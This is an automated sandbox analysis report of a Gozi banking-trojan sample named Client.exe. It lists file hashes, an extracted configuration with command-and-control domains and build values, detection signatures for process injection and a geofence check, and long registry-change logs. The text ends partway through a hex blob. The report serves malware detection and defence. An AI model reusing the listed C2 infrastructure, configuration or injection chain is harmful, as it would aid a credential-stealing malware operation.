Analysis
-
max time kernel
151s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
11-10-2023 09:07
Static task
static1
Behavioral task
behavioral1
Sample
Client.exe
Resource
win7-20230831-en
General
-
Target
Client.exe
-
Size
406KB
-
MD5
2f5a00394c3568e91f6302dc6c8b196c
-
SHA1
116f6ba99db4592f1ab5ccb1a734fdc5a52021bc
-
SHA256
3a1211935c4bd148eb6fb23c40d4806ee5a488b09bd61b3c0d15a47dbbfe64fd
-
SHA512
a30efa790e3ad7af4e574ef0bf359b6a91691947cf434ddcd30a228af29dea0a9b5c1daff050ecae6e88912e8f04813f1df9680e6fc896cee63e36476e4bbe36
-
SSDEEP
12288:l1HmKzwKhZhZsuyOtldw5hbu5Ty7pySxN1t:bHGKhZzLQ5Wn6H
Malware Config
Extracted
gozi
Extracted
gozi
5050
netsecurez.com
whofoxy.com
mimemoa.com
ntcgo.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Extracted
gozi
5050
fotexion.com
-
base_path
/pictures/
-
build
250260
-
exe_type
worker
-
extension
.bob
-
server_id
50
Signatures
-
Dave packer 1 IoCs
Detects executable using a packer named 'Dave' by the community, based on a string at the end.
Processes:
resource yara_rule behavioral2/memory/2932-0-0x0000000001470000-0x000000000147C000-memory.dmp dave -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exedescription pid process target process PID 4424 set thread context of 2540 4424 powershell.exe Explorer.EXE PID 2540 set thread context of 3708 2540 Explorer.EXE RuntimeBroker.exe PID 2540 set thread context of 4064 2540 Explorer.EXE RuntimeBroker.exe PID 2540 set thread context of 4924 2540 Explorer.EXE RuntimeBroker.exe PID 2540 set thread context of 732 2540 Explorer.EXE RuntimeBroker.exe PID 2540 set thread context of 1552 2540 Explorer.EXE cmd.exe PID 1552 set thread context of 2856 1552 cmd.exe PING.EXE PID 2540 set thread context of 5060 2540 Explorer.EXE cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 56 IoCs
Processes:
RuntimeBroker.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ac5e0d8-bf6d-462d = b95d522f49fcd901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\152a4b69-cf39-4c27 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\238c8a6a957868ee880f596439b2e8e9db4c7a399c44861eeaaddf597bfe9a38" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\152a4b69-cf39-4c27 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000a1f3e02e49fcd901a32a582f49fcd901a32a582f49fcd901642205000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004b57ab6d2000323338633861366139353738363865653838306635393634333962326538653964623463376133393963343438363165656161646466353937626665396133380000b20009000400efbe4b57ab6d4b57ab6d2e000000000000000000000000000000000000000000000000002922a900320033003800630038006100360061003900350037003800360038006500650038003800300066003500390036003400330039006200320065003800650039006400620034006300370061003300390039006300340034003800360031006500650061006100640064006600350039003700620066006500390061003300380000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000336a43cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c32333863386136613935373836386565383830663539363433396232653865396462346337613339396334343836316565616164646635393762666539613338000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b074b1729349b53ee119d98da422a6bcb39e045a29211b9ef448bb64d5290c16b074b1729349b53ee119d98da422a6bcb39d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\152a4b69-cf39-4c27 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b8fff853-099c-41a0 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b8fff853-099c-41a0 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2527e0a6-e756-4f31 = 6dff3f2f49fcd901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ac5e0d8-bf6d-462d = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\152a4b69-cf39-4c27 = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\abdabb2f-b4c2-4ea1 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aed20b21-ec5e-4aa4 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\324b6815-98fb-4389 = a5cf492f49fcd901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\324b6815-98fb-4389 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ac5e0d8-bf6d-462d RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\152a4b69-cf39-4c27 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2527e0a6-e756-4f31 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ac5e0d8-bf6d-462d = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\11c02639-3f04-4e68 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f9a40a6c-5fe0-4f99 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2527e0a6-e756-4f31 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2527e0a6-e756-4f31 = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\324b6815-98fb-4389 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\152a4b69-cf39-4c27 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b8fff853-099c-41a0 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\324b6815-98fb-4389 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\246510d4c7e5754ca7c97864ad40447304cbb1572c5aa99fa3e54ebe7f6b2be8" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\324b6815-98fb-4389 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000008e08d52e49fcd9014f420e2f49fcd9014f420e2f49fcd901633305000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004b57ab6d2000323436353130643463376535373534636137633937383634616434303434373330346362623135373263356161393966613365353465626537663662326265380000b20009000400efbe4b57ab6d4b57ab6d2e000000000000000000000000000000000000000000000000005e34bc00320034003600350031003000640034006300370065003500370035003400630061003700630039003700380036003400610064003400300034003400370033003000340063006200620031003500370032006300350061006100390039006600610033006500350034006500620065003700660036006200320062006500380000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000336a43cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c32343635313064346337653537353463613763393738363461643430343437333034636262313537326335616139396661336535346562653766366232626538000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b07481729349b53ee119d98da422a6bcb39e045a29211b9ef448bb64d5290c16b07481729349b53ee119d98da422a6bcb39d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9632a8bb-802a-493b = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9632a8bb-802a-493b = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000005fcaf82e49fcd901d78d1c2f49fcd901d78d1c2f49fcd901ab6c08000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004b57ab6d2000613134336436633434353436653465356230366236376165616231623463613162303766643331303739633936653830303638663032636332363239383663370000b20009000400efbe4b57ab6d4b57ab6d2e00000000000000000000000000000000000000000000000000ead2b900610031003400330064003600630034003400350034003600650034006500350062003000360062003600370061006500610062003100620034006300610031006200300037006600640033003100300037003900630039003600650038003000300036003800660030003200630063003200360032003900380036006300370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000336a43cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c61313433643663343435343665346535623036623637616561623162346361316230376664333130373963393665383030363866303263633236323938366337000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b074a1729349b53ee119d98da422a6bcb39e045a29211b9ef448bb64d5290c16b074a1729349b53ee119d98da422a6bcb39d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ac5e0d8-bf6d-462d = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9632a8bb-802a-493b RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9632a8bb-802a-493b RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9632a8bb-802a-493b = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b8fff853-099c-41a0 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\14265d87b8775e1cfd48d1066f74ad07b44c0d9c4b45fb4afcb9908c151829b6" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9632a8bb-802a-493b = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\a143d6c44546e4e5b06b67aeab1b4ca1b07fd31079c96e80068f02cc262986c7" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c682683e-21a7-4955 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b8fff853-099c-41a0 = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ac5e0d8-bf6d-462d RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9632a8bb-802a-493b = df1b602f49fcd901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9632a8bb-802a-493b = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b8fff853-099c-41a0 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000994a732e49fcd90140ba042f49fcd90140ba042f49fcd9013b6705000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004b57ab6d2000313432363564383762383737356531636664343864313036366637346164303762343463306439633462343566623461666362393930386331353138323962360000b20009000400efbe4b57ab6d4b57ab6d2e0000000000000000000000000000000000000000000000000085bdc500310034003200360035006400380037006200380037003700350065003100630066006400340038006400310030003600360066003700340061006400300037006200340034006300300064003900630034006200340035006600620034006100660063006200390039003000380063003100350031003800320039006200360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000336a43cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31343236356438376238373735653163666434386431303636663734616430376234346330643963346234356662346166636239393038633135313832396236000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000